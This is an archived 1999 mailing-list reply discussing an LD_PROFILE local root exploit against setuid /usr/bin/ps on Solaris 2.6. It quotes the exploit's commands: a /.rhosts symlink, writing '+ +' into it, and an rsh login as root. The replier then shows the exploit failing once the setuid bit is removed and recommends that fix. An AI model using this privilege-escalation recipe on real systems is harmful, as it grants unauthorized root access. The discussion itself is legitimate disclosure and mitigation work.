Re: LD_PROFILE local root exploit for solaris 2.6

[techs () OBFUSCATION ORG (Erik Fichtner)]

On Thu, Sep 23, 1999 at 04:43:51PM -0500, Brock Sides wrote:

This is a perfect example of Sun being silly.   /usr/bin/ps has no
need that i've found for being setuid root.   It hasn't been suid for
ages on my system, and it still functions as ps should (even -e works,
which i'm rather irritated by, since this is privacy-defeating, and
un-suid'ing /usr/bin/ps on 2.5.1 works as expected (breaks -e)  *and*
un-suid'ing /usr/ucb/ps DOES achieve the desired effect (breaks -a) on 2.6.
but anyway.....

> > works on solaris 2.6 sparc anyway...
$ uname -a
SunOS spork 5.6 Generic_105181-14 sun4u sparc SUNW,Ultra-4
$ ls -l /usr/bin/ps
-r-xr-xr-x   1 root     sys        26372 Jul 16  1997 /usr/bin/ps
> > ln -s /.rhosts /var/tmp/ps.profile
> > export LD_PROFILE=/usr/bin/ps
> > /usr/bin/ps
$ /usr/bin/ps
/var/tmp/ps.profile: open failed: Permission denied
   PID TTY      TIME CMD
 20067 pts/1    0:00 bash
 20087 pts/1    0:00 ps
> > echo + + >  /.rhosts
> > rsh -l root localhost csh -i

and of course, these fail, as the user wasn't able to cause ps to do
anything out of the ordinary.     I suggest stripping the suid bits on
ps on your 2.6 machine.   I have yet to find a case where the users notice
the difference, as /proc/* is mode 511 and /proc/*/psinfo is mode 444.

I'm sure there's some function of ps that this method breaks, but for the
most part, 2.6's /usr/bin/ps is unaffected by the change.   (Which, as I
stated above, is a loss in my application anyway, but I realize most people
don't see it this way.)

--
Erik Fichtner; Warrior SysAdmin (emf|techs)
http://www.obfuscation.org/~techs      N 38 53.055'  W 77 21.860'  764 ft.